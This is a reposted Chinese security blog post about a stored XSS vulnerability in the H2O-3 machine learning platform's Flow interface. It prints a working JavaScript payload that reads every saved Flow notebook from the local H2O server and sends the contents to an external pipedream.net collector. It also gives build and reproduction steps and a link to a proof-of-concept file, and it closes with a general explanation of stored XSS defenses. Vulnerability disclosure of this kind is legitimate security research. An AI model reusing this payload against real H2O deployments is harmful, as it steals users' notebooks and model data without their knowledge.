h2oai/h2o-3 中的 核弹级xss

admin 2024年2月14日00:58:18评论25 views字数 1985阅读6分37秒阅读模式
h2oai/h2o-3 中的 核弹级xss

h2o-3介绍

/h2o-3 是一个开源的机器学习平台,它提供了丰富的算法和工具,用于大规模数据分析和模型训练。H2O-3 支持多种编程语言,包括Python、R和Java,并且可以在各种分布式环境中运行,如Hadoop和Spark。它的目标是提供高性能、易用性和可扩展性,以满足企业级的机器学习需求。H2O-3 提供了许多常用的机器学习算法,如线性回归、逻辑回归、决策树、随机森林、梯度提升等,同时还支持特征工程、模型选择和调优等功能。通过使用 H2O-3,用户可以更轻松地开发和部署机器学习模型,以帮助他们在数据驱动的决策中取得成功。

漏洞简述

在 h2o-3 中,所有开放的 Flow 的数据都可以通过 Stored XSS 漏洞泄露或篡改,并且可以在模型中修改或读取信息。

  1. hijack = (data) => {  
  2.     window.open(`https://b89f8f617e7792dc04cbdf2efbd5e0c9.m.pipedream.net/?data=${data}`)  
  3. }  
  4. flows_data = '';  
  5. flows_name = [];  
  6. fetch('http://localhost:54321/3/NodePersistentStorage/notebook')  
  7.     .then((x) => x.text())  
  8.     .then((x) => flows_data = JSON.parse(x))  
  9.     .then(() => {  
  10.         for(i = 0; i < flows_data['entries'].length; i++){  
  11.             flows_name.push(flows_data['entries'][i]['name'])  
  12.         }  
  13.     })  
  14.     .then(() => {  
  15.         for(i = 0; i < flows_name.length; i++){  
  16.             fetch(`http://localhost:54321/3/NodePersistentStorage/notebook/${flows_name[i]}`)  
  17.                 .then((x) => x.text())  
  18.                 .then((x) => hijack(x))  
  19.         }  
  20.     })  

从所有flow泄漏数据的payload如上所述。要使用它而不会出现任何错误,您需要对其进行 base64 编码。

尝试构建

  1. # Build H2O
  2. git clone https://github.com/h2oai/h2o-3.git
  3. cd h2o-3
  4. ./gradlew build -x test  
  5. You may encounter problems: e.g. npm missing. Install it:  
  6. brew install npm  
  7. # Start H2O
  8. java -jar build/h2o.jar  
  9. # Point browser to http://localhost:54321

重现

前往 http://localhost:54321/flow/index.html
打开同一个文件:Sample Data.flow
打开 poc 文件:leak_poc.flow
单击leak_poc流上的播放按钮
Poc 文件地址:

https://drive.google.com/drive/folders/1yINoutLUbj2-kpJHsqiGPxz7jkpBI4MX?usp=sharing

下线吧

h2oai/h2o-3 中的 核弹级xss
Tips:
存储型XSS(Cross-Site Scripting)漏洞是一种常见的Web应用程序安全漏洞,它允许攻击者将恶意脚本代码存储在目标应用程序的数据库或其他存储位置中。当其他用户访问包含被注入的恶意代码的页面时,恶意代码将被执行,从而导致攻击者能够在用户的浏览器中执行任意脚本。

存储型XSS漏洞通常发生在应用程序未正确过滤或转义用户输入的情况下。攻击者可以利用这个漏洞在受害者的浏览器上执行恶意操作,如窃取用户的敏感信息、篡改网页内容、重定向用户到恶意网站等。

为了防止存储型XSS漏洞,开发人员应该在接收和显示用户输入时进行严格的输入验证和输出转义。对于用户输入的数据,应该过滤和限制特殊字符,并使用适当的编码方式来防止恶意脚本的注入。对于输出到页面的数据,应该使用适当的HTML编码或转义来确保任何用户输入都不会被解释为可执行的脚本代码。定期更新和修补应用程序也是保护免受存储型XSS漏洞的重要措施。

原文始发于微信公众号(jacky安全):h2oai/h2o-3 中的 核弹级xss

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月14日00:58:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   h2oai/h2o-3 中的 核弹级xsshttps://cn-sec.com/archives/2489803.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息